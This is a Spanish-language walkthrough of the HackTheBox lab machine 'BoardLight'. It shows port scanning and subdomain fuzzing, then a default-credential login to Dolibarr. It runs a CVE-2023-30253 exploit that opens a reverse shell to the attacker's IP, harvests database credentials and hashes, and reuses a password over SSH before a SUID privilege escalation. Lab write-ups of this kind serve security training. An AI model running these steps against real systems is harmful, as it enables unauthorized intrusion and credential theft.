machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS 10.10.11.11
Host is up, received user-set (0.28s latency).
Scanned at 2024-07-08 16:11:07 -03 for 17s
Not shown: 65379 closed tcp ports (reset), 154 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Detectamos versión y servicio de los puertos abiertos:

nmap -sCV -p22,80 10.10.11.11
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

boardlight

En el mail vemos el dominio board.htb, por lo que vamos a agregar esta entrada en nuestro /etc/hosts.

Intentamos hacer fuzzing de directorios pero no encontramos nada interesante:

gobuster dir -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

boardlight

Intentaremos buscar subdominios, en este caso, utilizando wfuzz:

wfuzz -c --hc=404 --hh=15949 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.board.htb" http://board.htb

boardlight

Agregamos a nuestro /etc/hosts este nuevo subdominio encontrado: crm.board.htb

Si ingresamos por web, vemos el siguiente panel de login:

boardlight

Si buscamos credenciales por default, vemos que son admin / admin. Probamos acceder pero vemos lo siguiente:

boardlight

Si bien tenemos acceso, notamos que no tenemos todos los permisos. Los mismos pueden ser otorgados por el administrador Dolibarr.

Intrusión

Vamos a buscar exploits para Dolibarr 17.0.0 que es la versión que nos muestra en el panel de login.

Vemos que existe una vulnerabilidad asociada al CVE-2023-30253 que nos permite ejecutar código. Vamos a usar el siguiente exploit:

Lo descargamos y vemos que para ejecutarlo debemos especificar lo siguiente:

boardlight

Por lo tanto, nos ponemos a la escucha con netcat en el puerto 443 y lo corremos de la siguiente manera:

python3 exploit.py http://crm.board.htb admin admin 10.10.14.9 443

boardlight

Hacemos un tratamiento de la TTY. Desde aquí, vemos que a nivel de sistema existe otro usuario que se llama larissa, pero no tenemos permiso a su directorio.

boardlight

Navegando los distintos directorios, damos con el archivo conf.php dentro del directorio /var/www/html/crm.board.htb/htdocs/conf. Aquí tenemos datos para la conexión a la BD:

$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';

// Authentication settings
$dolibarr_main_authentication='dolibarr';

Utilizando esas credenciales, nos conectamos de la siguiente manera al MySQL

mysql -u dolibarrowner -p -D dolibarr

boardlight

Jugando un poco con las BD, realizamos la siguiente consulta para obtener datos interesantes:

select admin,login,pass_crypted,lastname from llx_user;
dolibarr : $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm
admin    : $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96

Intento utilizar jhon para descifrar los hashes pero sin éxito. A su vez, intento realizar un Brute Force con Hydra al puerto SSH utilizando el usuario larissa pero tampoco tengo éxito.

Se me ocurre probar con las siguientes credenciales, ya que son las únicas válidas que tengo a través del SSH:

Usuario: larissa
Contraseña: serverfun2$2023!!

Son correctas y estoy dentro!

boardlight

Desde aquí ya podemos ver la primer flag:

boardlight

Escalación de privilegios

Vamos a utilizar LinEnum para enumerar el sistema.

Lo pasamos a la máquina víctima y lo ejecutamos. Dentro de todo el output, vemos en los permisos SUID, los binarios relacionados a enlightenment:

boardlight

Investigando, vemos que existe una vulnerabilidad que nos permite escalar privilegios. Vamos a usar el siguiente repositorio. Lo pasamos a la máquina víctima:

boardlight

Lo ejecutamos y somos root:

boardlight

Podemos ver la segunda flag:

boardlight


Published

Category

HTB

Tags